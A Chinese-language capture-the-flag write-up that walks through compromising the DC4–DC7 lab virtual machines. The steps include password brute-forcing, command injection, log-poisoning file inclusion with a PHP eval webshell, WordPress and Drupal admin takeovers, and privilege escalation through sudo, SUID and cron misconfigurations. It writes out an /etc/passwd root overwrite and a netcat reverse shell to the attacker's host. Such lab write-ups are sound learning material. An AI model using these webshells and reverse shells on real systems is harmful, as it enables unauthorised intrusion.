DC4-7

DC4-DC7 wp

前言

总结一下几个靶机主要是DC4-DC7的一些思路,这一次会在省略一些不必要的细节。

实验环境以及工具

  • 主要虚拟设备同上文。由于我之后给kali加了网卡,重新设置了下网络,使得kali和靶机在同一个网段下,可以直接使用反弹shell到msf上。经过调整后各个虚拟机的网络配置如下:

    • kali en0 10.211.55.18 en1 192.168.56.10
    • 本机 192.168.56.2
    • DC7 192.168.56.100
    • DC4 192.168.56.101
    • DC5 192.168.56.102
    • DC6 192.168.56.103
  • 用到的工具为kali虚拟机中自带的工具和一些提权脚本。

涉及的知识点

  • 弱口令爆破
  • 敏感信息收集
  • 任意命令执行,文件包含等常见web漏洞
  • 简单的社工收集
  • drupal 高版本后台getshell
  • wordpress user-role-editor模块权限提升漏洞
  • sudo的错误配置
  • 错误配置的计划任务

DC4

  1. burp 抓包尝试用户名admin,使用rockyou爆破密码,弱口令登录后台。
  2. 进后台发现有命令执行的功能模块,抓包测试任意命令执行。

image.png

看下是否可以写shell,web根目录web用户无权限写,那么尝试一句话反弹。反弹成功。

  1. 收集敏感信息,发现在jim目录下发现old-password.bak文件。立即爆破ssh密码
    jibril04,切换用户。

  2. 验证sudo空密码并检查邮件并在/var/mail/jim邮箱中发现charles的密码^xHhA&hvim0y,再次切换用户。

  3. 发现charless可以sudo以root权限使用teehee。查看手册后发现可以直接修改/etc/passwd文件。

    root:$1$EoKh.GjD$VoKnA1qNX8tBf1TQlcKYh/:0:0:root:/root:/bin/bash

    修改root密码并登陆获得flag

需要注意的是,为了防止/etc/passwd 被写坏的情况建议先存个快照。

DC5

这题一开始我是蒙蔽的,后来看了wp才知道是文件包含。

  1. 依次验证各个文件,发现thankphp页面footer的日期会变化。尝试参数发现file参数控制文件包含,尝试包含nginx的access.log getshell。 这里需要注意的是传过去的数据要能够正确被包含,需要urldecode一下。

    类似 xxx/<?php eval($_POST[1]);?>这样的,最后包含成功结果如下:

    image.png

  2. 检查suid, 发现screen可以利用
    刚好发现一个screen 4.50的 利用漏洞,上传使用即可获得root权限

DC6

  1. 访问发现是wordpress, 直接上wpscan枚举用户并按照提示爆破用户密码。发现只有mark helpdesk01可用,即登录。
  2. 根据Activity Monitor 模块查找admin的活动,127.0.0.1和192.168.0.100,意外发现wordpress使用user_role_editor插件,并且找到该插件的利用模块。
  3. 将该用户提权,然后修改wordpress样式表getshell,并获取反弹shell。
  4. 收集敏感信息后,在mark目录下找到graham的密码GSo7isUM1D4
  5. 切换用户查看sudo配置,
    发现可以使用无jens密码执行backups脚本, 使用jens用户时,发现sudo可以无密码root执行nmap故使用nmap提取即可

DC7

这道题还是比较别致的,一开始还真没看到那个@DC7USER的问题。

  1. 扫了下端口,开了22和80。看了下作者的提示,需要考虑一下环境以外的因素。那估计是要社工?在打drupal8的几个cve失败后,注意到@DC7USER和通常的drupal版本不同,谷歌DC7USER,发现Dc7User的github仓库,在config.php找到mysql的登录密码。猜测mysql账号和密码和cms或者ssh账号密码是同一套。尝试ssh登录成功。

    image.png

  2. 检查sudo发现没有异常,检查suid和mailbox,发现有一个/opt/scripts/backups.sh脚本,是以root权限运行的,从时间上来看是15分钟运行一次。去检查脚本所在文件权限。

    1
    -rwxrwxr-x 1 root www-data   38 Jan 26 14:18 backups.sh

    这意味着root和www-data用户同时拥有写该文件的权限,也就是说如果能够拿到一个webshell就可以修改脚本弹一个rootshell到本地。

  3. 我们看一下脚本里面的逻辑,找一找能用的东西,发现一个gpg可以通过解密sql找出admin的密码,发现drush。drush提供了各种管理drupal cms的各种操作,其中包括了账号密码重置。这里就直接重置admin密码为123456,登录次数过多的话可以新创建一个admin权限的账号也一样。这样我们就进了后台。

    image.png

  4. 检查了下版本发现是8.7.6,反序列化估计就不能用了。剩下的有两条路,一个是安装
    PHP Filter模块,使用basic page写webshell,另外一个是通过上传theme功能上传包含.htaccess的webshell压缩包。这里由于权限的缘故,我选择了修改basic page getshell。

    image.png

    之后修改backup脚本为

    1
    nc 192.168.56.2 12345 -t -e /bin/bash

    等待15分钟的间隔即可获取一个具有root权限的反弹shell。

    总结

    感觉还是一个思路的问题,思路有了其实这几个靶机还不是很难。另外就是等网好了的时候。我想试试是不是可以通过上传theme拿shell。